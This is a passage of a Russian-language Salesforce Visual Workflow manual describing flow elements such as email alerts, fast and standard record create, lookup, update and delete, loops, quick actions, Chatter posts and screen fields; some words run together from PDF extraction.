раскрывающегося спискана экране. Просто добавьте элемент «Решение» после элемента «Окно» для создания
ветвей потока на основе значений, доступных в данном раскрывающемся списке. Затем представьте каждое
значение из элемента «Решение» и свяжите его с ветвью потока.

СМ. ТАКЖЕ:

Элементы потока

Определение условий потока

Операторы в условиях потока

Определение пути, по которому идет поток

Ссылки на поля кросс-объекта в потоках
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Элемент потока «Электронное предупреждение»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный элемент отправляет сообщение эл. почты путем использования электронного
предупреждения бизнес-правила для выбора шаблона эл. почты и получателей. Поток
предоставляет только код записи.

Перед началом работы:

• Убедитесь в наличии нужного электронного предупреждения. В противном случае,
создайте электронное предупреждение на странице 4791.

• Просмотрите ежедневные ограничения по количеству сообщений эл. почты,
отправленных посредством электронных предупреждений.

• Сохраните код для нужной записи (например, посредством элемента «Быстрый
поиск»). Если электронное предупреждение содержит поля слияния, то ссылочная
запись является основой данных полей.

Уникальноеимякаждого электронногопредупреждениядополняетсяименемсоответствующегообъекта. Типыобъектов
ссылочнойзаписииэлектронногопредупреждениядолжнысовпадать. Например, электронноепредупреждение, заданное
для организаций и использующее уникальное имя Owner_Changed, отображается на вкладке «Палитра» как
Account.Owner_Changed. Электронное предупреждение, связанное с объектом «Организация», может ссылаться
только на запись организации.

ОписаниеПоле

Выберите переменную, содержащую код для записи, который следует указать в письме эл. почты.
Если электронное предупреждение использует поля слияния, то данная запись является основой
данных полей слияния.

Например, при сохранении кода записи в переменной sObject по имени storeAccount
используется значение {!storeAccount.Id}.

Код записи

Использование

Прим.: Во время выполнения письмо не будет отправлено, пока не завершится транзакция сеанса. Транзакции
считаются выполненными после того как сеанс завершится, либо будут выполнены элементы «Экран» или
«Ожидание».

СМ. ТАКЖЕ:

Отправка сообщения эл. почты из потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Ссылки на поля кросс-объекта в потоках
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Элемент «Быстрое создание» в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный элемент создает набор записей Salesforce с использованием значений полей из
переменнойколлекции sObject. ИлисоздаетотдельнуюзаписьSalesforceсиспользованием
значений полей из переменной sObject.

Чтобысоздатьотдельнуюзапись, содержащуюзначенияполейизобычныхпеременных
и других ресурсов потока (например, постоянные, формулы и поля окна), рекомендуем
воспользоваться элементом «Создание записи».

ОписаниеПоле

Переменная или коллекция sObject, которую необходимо
использовать для создания одной или нескольких записей. Типы
объектовдолжнысовпадать, акаждоеполекодадолжнобытьпустым.

При создании отдельной записи посредством переменной sObject
поле кода переменной sObject обновляется значением кода новой

Переменная

записи. При созданиинескольких записейпосредством коллекции
sObject поле кода каждого элемента коллекции обновляется
соответствующим значением кода новой записи.

Пример: Воспользуйтесь элементом «Быстрое создание», чтобысоздать записидля каждогообращения, доступного
в коллекцииновыхобращений. Преждечемвыполнить элемент «Быстрое создание», убедитесь, чтопоток заполняет
переменную или коллекцию sObject значениями всех обязательных полей.

Использование

Прим.: Записи во время выполнения не создаются, пока не завершится транзакция сеанса. Транзакции считаются
выполненными после того как сеанс завершится, либо будут выполнены элементы «Экран» или «Ожидание».

СМ. ТАКЖЕ:

Элементы потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Ресурс потока «Переменная sObject»

Ресурс потока «Переменная коллекции sObject»
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Элемент «Быстрое удаление» в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный элемент удаляет набор записей Salesforce с использованием значений кода,
сохраненных в переменной коллекции sObject. Или удаляет отдельную запись Salesforce
с использованием значения кода из переменной sObject.

Совет: Прежде чем использовать элемент «Быстрое удаление», убедитесь, что
поток заполняет переменную или коллекцию sObject значениями кода.

ОписаниеПоле

Определяет переменную или коллекцию sObject, с использованием
которой необходимо удалять записи. Переменная должна содержать
коды или записи для удаления.

Переменная

Использование

Внимание:

• Рекомендуем внимательно проверять потоки, содержащие элементы удаления. Поток (даже неактивный)
инициирует операцию удаления.

• Чтобы избежать ошибочного удаления записей, рекомендуем указывать максимально точные критерии
фильтрации.

• Записи удаляются из организации в момент выполнения потоком элемента удаления.

• Удаленные записи перемещаются в корзину, где хранятся в течение 15 дней, а затем удаляются без возможности
восстановления.

• Потоки могут удалять записи, находящиеся в процессе утверждения.

Чтобыудалитькакминимумоднузапись, котораясоответствуеткритериямфильтрации, заданнымобычнымипеременными
и другими ресурсами потока (например, постоянные, формулы и поля окна), рекомендуем воспользоваться элементом
«Удаление записи».

Прим.: Записи во время выполнения не удаляются, пока не завершится транзакция сеанса. Транзакции считаются
выполненными после того как сеанс завершится, либо будут выполнены элементы «Экран» или «Ожидание».

СМ. ТАКЖЕ:

Элементы потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Ресурс потока «Переменная sObject»

Ресурс потока «Переменная коллекции sObject»
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Элемент «Быстрый поиск» в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ДанныйэлементнаходитзаписиSalesforceдляназначениязначенийихполейпеременной
коллекции sObject. Или находит отдельную запись Salesforce для назначения значений
ее полей переменной sObject.

ОписаниеПоле

Определяет объект, записи которого необходимо найти.Поиск

Сужаетобласть записей, вкоторойпотокведетпоиск. Введитекритерии
фильтрации для выбора записи в базе данных.

Критерии
фильтрации

Совет: Убедитесь, что заданные критерии фильтрации
значительно сужают область поиска. При использовании
переменной sObject дляхранениярезультатов элемент «Быстрый
поиск» возвращает только первую запись из отфильтрованных
результатов.

Доступные операторыфильтрации определяются типом данных
выбранных полей. Дополнительную информацию см. в разделе
«Операторывфильтрахзаписейпотока». Параметр «Значение» должен
быть совместим с типом данных выбранного поля.

Сортирует отфильтрованные результаты перед сохранением записей
в переменной. При выборе этого поля необходимо указать поле, по

Сортировать
результаты
по: которомусортируютсярезультаты, а такжепорядоксортировки. Можно

выбрать только сортируемые поля.

Переменная, содержащая возвращенные значения полей.Переменная

• Воспользуйтесь переменной sObject для хранения значенийполей
первой возвращенной записи.

• Воспользуйтесь переменной коллекции sObject для хранения
значений полей всех возвращенных записей.

Если нет записей, отвечающих критериям фильтра, переменной
присваивается значение «нуль». Значения переменной по умолчанию
остаются без изменений.

Если записей
не найдено,
присвоить
переменной
значение
«нуль».

Указывает, какие поля записи, отвечающие критериям, необходимо
сохранитьвпеременной. Значениямневыбранныхполейвпеременной
присваивается значение «нуль».

Указать поля
записи для
сохранения в
переменной.

Пример:

• Поиск имени и описания продукта посредством его штрихкода.
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• Поиск всех клиентов, живущих в определенном городе.

• Поиск транзакций клиентов за указанный день.

Использование

Чтобы найти отдельную запись и сохранить указанные значения полей в обычных переменных и переменных sObject,
рекомендуем воспользоваться элементом «Поиск записи».

СМ. ТАКЖЕ:

Элементы потока

Операторы в фильтрах записей потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Ресурс потока «Переменная sObject»

Ресурс потока «Переменная коллекции sObject»

Ссылки на поля кросс-объекта в потоках

Элемент «Быстрое обновление» в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный элемент обновляет набор записей Salesforce посредством значений полей из
переменнойколлекции sObject. Илиобновляетотдельнуюзапись Salesforceпосредством
значенийполейизпеременной sObject. Есликод записивходит впеременную, значения
ее полей обновляются до соответствия другим значениям этой переменной.

ОписаниеПоле

Определяетпеременнуюиликоллекцию sObject, посредствомкоторой
необходимо обновлять записи. Переменная или коллекция sObject
должнаиспользоватьтипобъекта, назначенныйобновляемымзаписям.
Другими словами, при обновлении нескольких записей организаций
рекомендуем использовать коллекцию sObject типа «Организация».
Данный алгоритм гарантирует соответствие полей записей полям
переменной или коллекции sObject.

Переменная

Пример: Создание потоков для центра обработки вызовов. Чтобы автоматически обновлять записи Salesforce
данными, полученными от абонентов (например, новые адреса или товарные предпочтения), воспользуйтесь
элементом «Быстрое обновление». Прежде чем использовать элемент «Быстрое обновление», убедитесь, что поток
заполняетпеременнуюиликоллекцию sObject. Затем убедитесь, чтопеременная sObject или значения sObject внутри
коллекции содержат код обновляемых записей.

Использование

Чтобы обновить как минимум одну запись, содержащую значения полей из обычных переменных и других ресурсов
потока (например, постоянные, формулы и поля окна), рекомендуем воспользоваться элементом «Обновление записи».
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Прим.: Записивовремявыполнениянеобновляются, покане завершится транзакциясеанса. Транзакциисчитаются
выполненными после того как сеанс завершится, либо будут выполнены элементы «Экран» или «Ожидание».

СМ. ТАКЖЕ:

Элементы потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Ресурс потока «Переменная sObject»

Ресурс потока «Переменная коллекции sObject»

Элемент «Цикл» в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Выполняет перебор коллекции по одному элементу и извлекает действия из значений
полей каждого элемента посредством других элементов в петле.

Коллекция — список элементов, содержащих значения полей, например, из записей
Salesforce. Циклиспользуетпеременную sObject (переменнаяцикла) длясохранениязначений
текущего элемента коллекции. После проверки элемента цикл копирует значения поля
для следующего элемента в переменнуюцикла. Затемциклпроверяет данные значения.
Переменная цикла и коллекция должны использовать одинаковый тип объекта.
Например, если коллекция содержит значения полей из организаций, то переменной
цикла должен быть также назначен тип «Организация».

ОписаниеПоле

Коллекция, по которой необходимо выполнить цикл.Цикл по:

«По возрастанию»  (от начала до конца коллекции) или «По
убыванию»  (от конца до начала коллекции).

Порядок

Переменная, используемая потоком для хранения значения текущего
элемента во время выполнения цикла. Если цикл выполняется по

Переменная
цикла

переменнойколлекции, не связаннойс sObject, этапеременнаядолжна
содержать данные этого же типа. Если цикл выполняется по
переменной коллекции sObject, эта переменная должна содержать
объект этого же типа.

Использование
После добавления элемента «Цикл» и его компонентов выполните указанные ниже действия.

• Добавьте коннектор «Следующий элемент» для определения элемента, который должен выполняться первым при
копировании значений нового элемента в переменную цикла.

4948

Visual WorkflowРасширение Salesforce посредством интерактивных
инструментов



• Добавьте коннектор «Конеццикла» дляопределения элементапотока, которыйдолженвыполнятьсяпослеобработки
всех элементов коллекции в цикле.

СМ. ТАКЖЕ:

Образец потока, выполняющего цикл по коллекции

Определение пути, по которому идет поток

Элементы потока

Ресурс потока «Переменная коллекции sObject»

Элемент «Создание записи» в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный элемент создает отдельную запись Salesforce с использованием значений
отдельных полей, указанных пользователем.

ОписаниеПоле

Объект, для которого необходимо создать записьСоздание

Определяетзначенияполейдляновойзаписи. Каждоезначениедолжно
соответствовать типу данных выбранного поля.

Значения
полей

Важное замечание: Всетребуемыеполядолжныбытьзаполнены
значениями. В противном случае цикл не удастся завершить во
время выполнения. Если неизвестно, какие поля обязательны
для заполнения, просмотрите определение объекта.

Присваивает переменной код новой записи, на который можно будет
ссылаться в потоке в дальнейшем.

Переменная

Пример: Пользователь вводит имя и адрес в поток. Чтобы проверить наличие соответствующего пользователя,
воспользуйтесь элементом «Поиск записи». При отсутствии совпадающего контакта создайте запись для данного
пользователя посредством элемента «Создание записи».

Использование

Чтобысоздать все значенияполейотдельнойзаписипосредствомпеременной sObject иливсе значенияполейнескольких
записей посредством коллекции sObject, воспользуйтесь элементом «Быстрое создание».

Прим.: Запись во время выполнения не создается, пока не завершится транзакция сеанса. Транзакции считаются
выполненными после того как сеанс завершится, либо будут выполнены элементы «Экран» или «Ожидание».

СМ. ТАКЖЕ:

Операторы в фильтрах записей потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Элементы потока
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Элемент «Удаление записи» в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Удаляет все записи Salesforce, соответствующие заданному критерию.

ОписаниеПоле

Определяет объект, записи которого необходимо удалить.Удаление

Сужает область записей для удаления потоком.Критерий
фильтрации

Использование

Внимание:

• Рекомендуемвнимательнопроверятьпотоки, содержащие элементыудаления.
Поток (даже неактивный) инициирует операцию удаления.

• Чтобы избежать ошибочного удаления записей, рекомендуем указывать
максимально точные критерии фильтрации.

• Записи удаляются из организации в момент выполнения потоком элемента
удаления.

• Удаленные записи перемещаются в корзину, где хранятся в течение 15 дней, а
затем удаляются без возможности восстановления.

• Потоки могут удалять записи, находящиеся в процессе утверждения.

Чтобы удалить отдельную запись, определенную кодом, в переменной sObject или несколько записей, определенных
кодами, в коллекции sObject, воспользуйтесь элементом «Быстрое удаление».

Прим.: Запись во время выполнения не удаляется, пока не завершится транзакция сеанса. Транзакции считаются
выполненными после того как сеанс завершится, либо будут выполнены элементы «Экран» или «Ожидание».

СМ. ТАКЖЕ:

Операторы в фильтрах записей потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Элементы потока
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Элемент «Поиск записи» в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

НаходитпервуюзаписьSalesforce, соответствующуюзаданномукритерию. Затемданный
элементназначаетзначенияполейзаписиотдельнымпеременнымпотокаилиотдельным
полям переменных sObject.

ОписаниеПоле

Определяет объект, записи которого необходимо найти.Поиск

Сужаетобласть записей, вкоторойпотокведетпоиск. Введитекритерии
фильтрации для выбора записи в базе данных.

Критерии
фильтрации

Совет: Убедитесь, что заданные критерии фильтрации
значительно сужают область поиска. Элемент «Поиск записи»
возвращает только первую запись из отфильтрованных
результатов.

Доступные операторыфильтрации определяются типом данных
выбранных полей. Дополнительную информацию см. в разделе
«Операторывфильтрахзаписейпотока». Параметр «Значение» должен
быть совместим с типом данных выбранного поля.

Сортирует отфильтрованные результаты перед сохранением записей
в переменной. При выборе этого поля необходимо указать поле, по

Сортировать
результаты
по: которомусортируютсярезультаты, а такжепорядоксортировки. Можно

выбрать только сортируемые поля.

Выбор поля из возвращенной записи и присваивание значений
переменным в потоке.

Присвоить
переменным
поля записи,
чтобы
ссылаться на
них в
дальнейшем
в потоке.

Если нет записей, отвечающих критериям фильтра, переменным
присваивается значение «нуль». Значения переменной по умолчанию
остаются без изменений.

Если записей
не найдено,
присвоить
переменным
значение
«нуль».

Указывает, какие поля записи, отвечающие критериям, необходимо
сохранитьвпеременной. Значениямневыбранныхполейвпеременной
присваивается значение «нуль».

Указать поля
записи для
сохранения в
переменной.
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Пример: Элемент «Поиск записи» используется для следующих действий.

• Ввод (или считывание) штрих-кода продукта. Использование кода для поиска имени или описания продукта в
базе данных.

• Поиск сведений о позициях для проверки их наличия на складе.

• Поиск записи клиента для проверки личности вызывающего абонента.

Использование
Рекомендуем использовать элемент «Быстрый поиск» для поиска компонентов ниже.

• Отдельная запись (и сохранение указанных значений полей в переменной sObject) или

• Несколько записей (и сохранение указанных значений полей в коллекции sObject)

СМ. ТАКЖЕ:

Операторы в фильтрах записей потока

Элементы потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Ссылки на поля кросс-объекта в потоках

Элемент «Обновление записи» в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Находит все записи Salesforce, соответствующие заданному критерию, и обновляет их
до значений отдельных полей, указанных пользователем.

ОписаниеПоле

Определяет объект, записи которого необходимо обновить.Обновление

Сужает область записей для обновления потоком.Критерии
фильтрации

Важное замечание: Настройте как минимум один фильтр (в
противном случае, поток обновляет все записи объекта).

Доступные операторыфильтрации определяются типом данных
выбранных полей. Дополнительную информацию см. в разделе
«Операторывфильтрахзаписейпотока». Параметр «Значение» должен
быть совместим с типом данных выбранного поля.

Определяет поля, подлежащие обновлению в записях, которые
соответствуют заданным критериям фильтрации, а также новые
значения.

Обновление
полей
записи...

Пример: Автоматическое обновление Salesforce до данных, собранных у клиентов, таких как новые адреса или
свойства продуктов.
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Использование

Рекомендуем использовать элемент «Быстрое обновление» для выполнения следующих действий.

• Обновление отдельной записи значениями всех полей из переменной sObject

• Или обновление нескольких записей всеми значениями полей посредством коллекции sObject

Прим.: Запись во время выполнениянеобновляется, покане завершится транзакция сеанса. Транзакциисчитаются
выполненными после того как сеанс завершится, либо будут выполнены элементы «Экран» или «Ожидание».

СМ. ТАКЖЕ:

Операторы в фильтрах записей потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Элементы потока

Элемент потока «Быстрое действие»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Вызывает глобальное быстрое действие или действие объекта, настроенное в вашей
организации. Поддерживаются только действия «Создание», «Обновление» и «Запись
вызова в журнал».

Уникальноеимя каждогообъектногодействиядополняетсяименемсвязанногообъекта.
Уникальное имя каждого глобального действия отображается без префикса.

ОписаниеПоле

Только для действий с объектом. Код записи, из которой выполняется
действие.

Например, действие создает обращение, связанное с определенной
организацией. Назначьте полю «Код связанной записи» код
соответствующей организации.

Код
связанной
записи

Варьируется для каждого действия.

Обязательные параметры отображаются по умолчанию и не могут
быть удалены. Обязательные параметры определяются макетом

Параметр
ввода

действия. Обязательное поле, содержащее стандартное или
предопределенное значение, является необязательным в объектных и
глобальных действиях потока. Последующее удаление стандартного
или предопределенного значения поля без ввода значения в потоке
инициирует неудачное выполнение сеанса.

Пример: Ваша организация имеет объектное действие, создающее запись обращения в учетной записи. Поток
вызывает данное действие при выполнении и использует назначения элементов ввода для переноса данных из
потока в действие.
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Прим.: Вовремя выполнения записьнебудет создана, покане завершится транзакциясеанса. Транзакциисчитаются
выполненными после того как сеанс завершится, либо будут выполнены элементы «Экран» или «Ожидание».

СМ. ТАКЖЕ:

Элементы потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Ссылки на поля кросс-объекта в потоках

Элемент потока «Сообщение в Chatter»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Публикует сообщение в указанную ленту, например в группу Chatter или запись
обращения. Сообщение может содержать упоминания и темы, но поддерживаются
только текстовые публикации.

Входныеданные

ОписаниеПараметр
ввода

Идентификатор сообщества, в которое будет помещено сообщение.

Допустимо, только если включена функция Сообщества Salesforce.
Необходимо при размещении сообщений для пользователя или для
группы Chatter, принадлежащей сообществу Salesforce.com.

Идентификатор
сообщества

Нужный текст. Данный параметр должен содержать строку длиноюне
более 10 000 символов.

Чтобы добавить упоминание о пользователе или группе, введите
@[ссылка], где переменная ссылка заменяется кодом нужного

Сообщение

пользователя или группы. Ссылке может соответствовать литеральное
значение, полеслиянияилиресурспотока. Например: @[{!UserId}].

Чтобы добавить тему, введите #[строка], где переменная строка
заменяется нужной темой. Например: #[Action Required].

Ссылка на пользователя, группу Chatter или запись, лента которой
должна использоваться для публикации.

Имя или
код цели

• Чтобы опубликовать в ленту пользователя, введите значение поля
пользователя «Код» или «Имя пользователя». Например:
jsmith@salesforce.com

• Чтобыопубликовать в группуChatter, введите значениеполя группы
«Имя» или «Код». Например: «Вся организация»

• Чтобыопубликоватьв запись, введите значениеполя записи «Код».
Например: 001D000000JWBDx
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ОписаниеПараметр ввода

Данный параметр является обязательным только при наличии имени пользователя или имени
группы Chatter в параметре «Имя или код цели».

Тип нужной ленты. Допустимые значения:

Тип цели

• «Пользователь»: введитеданноезначение, еслипараметру «Имя или код цели» заданозначение
поля пользователя «Имя пользователя».

• «Группа»: введите данное значение, если параметру «Имя или код цели» задано значение
поля группы Chatter «Имя».

Указывает, доступен ли этот элемент потока для всех пользователей или только для внутренних.

Допустимо, только если включена функция Сообщества Salesforce. Допустимые значения:

Доступность

• allUsers;

• internalUsers.

Выходныеданные

ОписаниеВыходной
параметр

Назначает ресурсу в потоке код созданной публикации.Код элемента
ленты

Использование

Прим.: ВовремявыполнениясообщениеChatterнебудет создано, покане завершитсятранзакциясеанса. Транзакции
считаются выполненными после того как сеанс завершится, либо будут выполнены элементы «Экран» или
«Ожидание».

СМ. ТАКЖЕ:

Элементы потока

Настройка действий, выполняемых при неудачном выполнении потока

Определение пути, по которому идет поток

Ссылки на поля кросс-объекта в потоках
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Элемент «Окно» в потоке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отображает окно для пользователя, выполняющего цикл, для вывода информации для
пользователя или сбора информации от пользователя.

Элемент «Окно» в потоке: общие сведения
Определяет, какие кнопки навигации доступны для заданного окна и какой текст
справки доступен пользователю потока.

Элемент «Окно» в потоке: поля ввода данных
Обеспечивает ручной ввод информации пользователями. Поле ввода данных
пользователя потока — это поле типа «Текст», «Область подробного текста», «Число»,
«Валюта», «Дата», «Дата/время», «Пароль» или «Кнопка-флажок», входящее в элемент
«Окно».

Элемент «Окно» в потоке: поля выбора
Позволяет выбирать из набора вариантов выбора. Поле выбора потока — элемент типа «Кнопка-переключатель»,
«Раскрывающийся список», «Кнопка-флажок со множественным выбором» или «Раскрывающийся список со
множественным выбором», входящий в элемент «Окно».

Элемент «Окно» в потоке: поля отображения текста
Отображает информацию при запуске потока.

СМ. ТАКЖЕ:

Элементы потока

Определение пути, по которому идет поток

Элемент «Окно» впотоке: общие сведения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Определяет, какие кнопкинавигациидоступныдля заданногоокнаикакойтекст справки
доступен пользователю потока.

Параметры навигации

ОписаниеПоле

Определяет, какие кнопки навигации отображаются для этого окна.
При выполнении система автоматически определяет кнопки для
отображения (взависимостиотналичияпредыдущихилипоследующих
окон в пути потока). Чтобы запретить окну отображение кнопки
«Назад» или «Готово», воспользуйтесь раскрывающимся списком.

Раскрывающийся
список

• «Не ограничивать навигацию» (по умолчанию): система
отображает все соответствующие кнопки навигации окна.

• «Непоказыватькнопку "Назад"»: системаблокируетпредыдущее
окно, содержащее действие, которое не должно повторяться
(например, операция по кредитной карте).

• «Не показывать кнопку "Готово"»: система возвращает
пользователявпредыдущееокнодляпродолженияилизавершения
потока.
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ОписаниеПоле

Например, пользователю предлагается ввести данные для определения текущего контакта.
Данные, введенные пользователем, используются потоком для поиска по базе данных. При
отсутствиисоответствующегоконтактапотокотображаетокнодля уведомленияпользователя
о необходимости возврата и повторного ввода данных. В данном случае выберите действие
«Не показывать кнопку "Готово"».

Приактивированномпараметре «Разрешить пользователям приостановку потоков» внастройках
«Бизнес-правила и утверждения» организации добавляет кнопку «Пауза» к кнопкам навигации

Показывать кнопку
«Пауза»

этого окна. Сеанс потока, приостановленный пользователем, может быть возобновлен только
самим пользователем или администратором.

Сообщение, отображаемое пользователям потока в случае приостановки потока.Сообщение о
приостановке

Текст справки

ОписаниеПоле

Информация, отображаемая при выборе ссылки «Справка для этойформы».Текстовое поле

Использование
При предоставлении пользователям возможности приостановки сеансов данного потока:

• Настройка метки сеанса

• Активация параметра «Разрешить пользователям приостановку потоков» в настройках «Бизнес-правила и
утверждения» организации

• Добавление компонента «Приостановленные сеансы потока» в макет начальной страницы для соответствующих
пользователей

СМ. ТАКЖЕ:

Элемент «Окно» в потоке

Разработка макетов начальной страницы

Элемент «Окно» впотоке: поля ввода данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Обеспечивает ручной ввод информациипользователями. Поле ввода данныхпользователя
потока — этополе типа «Текст», «Областьподробноготекста», «Число», «Валюта», «Дата»,
«Дата/время», «Пароль» или «Кнопка-флажок», входящее в элемент «Окно».

ОписаниеПоле

Понятный текст, отображаемый слева от поля.

Чтобы отформатировать метку, щелкните значок .

Метка
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ОписаниеПоле

Уникальное имя может содержать только буквы, цифры и символы подчеркивания. Имя должно
начинаться с буквы; не может содержать пробелов и двух последовательных символов подчеркивания,
а также не может заканчиваться символом подчеркивания.

Уникальное
имя

Данное поле заполняется автоматически на основе выбранного типа поля ввода.Тип ввода

Стандартное значение для поля ввода данных.

Типданныхстандартногозначениядолженсоответствоватьтипуданныхполя. Например, стандартному
значению кнопки-флажка должен быть назначен логический тип данных.

Стандартное
значение

Определяет число знаков после запятой. Не может превышать 17 цифр. Если данное поле является
пустымилисодержитнулевое значение, топривыполнениипотокаотображаются толькоцелыечисла.
Доступно только для полей ввода типа «Валюта» и «Число».

Шкала

Позволяет пользователям переходить к следующему окну только после ввода значения.Обязательно

Позволяет проверять данные в этом поле.Проверка

Логическое выражение формулы, оценивающее корректность введенного значения.Выражение
формулы

Отображается под полем при указанном недопустимом значении.Сообщение
об ошибке

Добавляет элемент рядом с полем ввода данных. В текстовом поле введите полезную информацию
об этом поле.

Текстсправки

СМ. ТАКЖЕ:

Элемент «Окно» в потоке

Элемент «Окно» впотоке: поля выбора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Позволяет выбирать из набора вариантов выбора. Поле выбора потока — элемент типа
«Кнопка-переключатель», «Раскрывающийся список», «Кнопка-флажок со
множественнымвыбором» или «Раскрывающийсясписоксомножественнымвыбором»,
входящий в элемент «Окно».

ОписаниеПоле

Данное значение отображается слева от поля. Чтобы отформатировать
метку, щелкните значок .

Метка

Уникальное имя может содержать только буквы, цифры и символы
подчеркивания. Имя должно начинаться с буквы; не может содержать
пробелов и двух последовательных символов подчеркивания, а также не
может заканчиваться символом подчеркивания.

Уникальное
имя
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ОписаниеПоле

Данное поле определяет выборы, доступные в разделе «Параметры выбора». Например, при выборе
типа данных «Число» элемент выбора не может использовать тип данных «Текст».

Полясомножественнымвыборомнеподдерживаютизменениетипаданныхзначения; поддерживается
только текст.

Тип данных
значения

Определяет число знаков после запятой. Не может превышать 17 цифр. Если данное поле является
пустымилисодержитнулевое значение, топривыполнениипотокаотображаются толькоцелыечисла.
Доступно только для полей выбора типа «Валюта» и «Число».

Шкала

Позволяет просматривать следующее окно только после определения выбора.Обязательно

Предварительно сделанный выбор для пользователя.Стандартное
значение

Параметры выбора, из которых можно выбирать. Можно задать настроенные выборы, динамические
выборы записи или выборы раскрывающегося списка.

Выбор

Прим.: Порядок отображения вариантов выбора не может быть изменен.

Информация, отображаемая при выборе ссылки .Поле «Текст
справки»

СМ. ТАКЖЕ:

Ограничения для полей со множественным выбором

Варианты полей выбора в элементах «Окно» потока

Элемент «Окно» в потоке

Вариантыполей выбора в элементах «Окно» потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройка полей выбора в окне потока предполагает определение вариантов выбора
для отображения в данном поле. Данные варианты отображаются как отдельные
кнопки-переключатели, кнопки-флажки или элементы раскрывающегося списка.
Вариантывыборамогутсоздаватьсяпосредствомкакминимумодногоизданныхресурсов:
выборы, динамические выборы записи или выборы раскрывающегося списка.

Динамические выборы записи и выборы раскрывающегося списка отличаются от
выборов более удобной настройкой и минимальным обслуживанием. Рекомендуем
использовать ресурс «Выбор» только при отсутствии возможности использования двух
других ресурсов.

Рекомендуемый ресурсПри выборе...

Динамический выбор записиИз набора отфильтрованных записей

Выбор раскрывающегося спискаИз набора значений, соответствующих
текущему полю раскрывающегося списка
или раскрывающегося списка со
множественным выбором
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Рекомендуемый ресурсПри выборе...

ВыборВарианта, который не может быть создан из записи, поля
раскрывающегося списка или поля раскрывающегося
списка со множественным выбором

СМ. ТАКЖЕ:

Элемент «Окно» в потоке: поля выбора

Ресурс «Динамический выбор записи» в потоке

Ресурс «Выбор раскрывающегося списка» потока

Ресурс потока «Выбор»

Элемент «Окно» впотоке: поля отображения текста

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отображает информацию при запуске потока.

ОписаниеПоле

Уникальное имя может содержать только буквы, цифры и символы
подчеркивания. Имя должно начинаться с буквы; не может содержать
пробелов и двух последовательных символов подчеркивания, а также не
может заканчиваться символом подчеркивания.

Уникальное
имя

Текст, который должен отображаться пользователю потока. Чтобы
переключить редактор обычного текста на редактор обогащенного текста
(или наоборот), щелкните значок .Использование редактора
обогащенного текста инициирует сохранение содержимого в виде HTML.

Текстовое
поле

Пример: Приветствует пользователей на входе в поток или отображает условия использования.

СМ. ТАКЖЕ:

Элемент «Окно» в потоке

Элемент потока «Отправка письма эл. почты»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отправляет сообщение эл. почты, где в потоке вручную указывается тема, текст и
получатели.

Совет:

• Сохраните текст для письма в шаблоне.

• Чтобы применить шаблон письма эл. почты из вашей организации, вызовите
